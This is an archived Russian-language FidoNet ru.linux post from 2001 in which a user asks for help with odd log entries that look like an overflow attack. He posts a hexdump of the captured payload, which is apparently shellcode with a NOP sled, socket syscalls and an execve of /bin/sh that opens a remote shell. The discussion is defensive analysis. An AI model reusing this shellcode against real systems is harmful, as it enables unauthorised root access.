|
ru.linux
- RU.LINUX ---------------------------------------------------------------------
From : Victor Ikonnikoff 2:5020/1046.24 12 Jul 2001 01:06:54
To : Bohdan Vlasyuk
Subject : Hепонятки в логах
--------------------------------------------------------------------------------
Пятница Июль 06 2001 11:31, Bohdan Vlasyuk писал All:
>> - или это "overflow attack"
BV> 100%
>> на не знаю какой сервис
BV> определи по PID -- 14790
BV> ps aux|grep 14790
BV> :-)
Да я как бы в курсе ;) Просто PIDы все время разные, и к моменту просмотра
логов этих процессов в живых уже не было
>> (уж больно длинная строка - возможно, это бинарный код, да еще
>> завершающийся на /bin/sh, как и должна как я понимаю завершаться
>> если бы задачей было запустить рутовый шелл.
BV> Вот если бы ты его прислал в хексдампе..
BV> например CD 80 это int $0x80 -- т.е. syscall
Вроде так:
0000160 9090 9090 3190 31db 31c9 b0c0 cd46 8980
0000170 31e5 b2d2 8966 31d0 89c9 43cb 5d89 43f8
0000180 5d89 4bf4 4d89 8dfc f44d 80cd c931 4589
0000190 43f4 8966 ec5d c766 ee45 4f5e 8927 f04d
00001a0 458d 89ec f845 45c6 5efc 8950 8dd0 f44d
00001b0 80cd d089 4343 80cd d089 cd43 8980 31c3
00001c0 b2c9 893f cdd0 8980 41d0 80cd 5eeb 5e58
00001d0 7589 485e c031 4688 475e 4589 4c5e 5eb0
00001e0 894b 8df3 5e4d 8d48 5e55 cd4c e880 ffe3
00001f0 ffff 622f 6e69 732f 2768 000a
00001fb
С уважением, ВВ
[Турьё] [Confide in me] [В BNL хорошо, а в CERNе-лучше]
--- Le vieux nu pour le Dos, il a 1.1.4.7 ans
* Origin: Hе бывает так, чтоб жизнь не беда (2:5020/1046.24)
Вернуться к списку тем, сортированных по: возрастание даты уменьшение даты тема автор
| Тема: |
Автор: |
Дата: |
|
Re: Hепонятки в логах |
Bohdan Vlasyuk |
06 Jul 2001 11:31:33 |
 Hепонятки в логах |
Victor Ikonnikoff |
12 Jul 2001 01:06:54 |
|
|
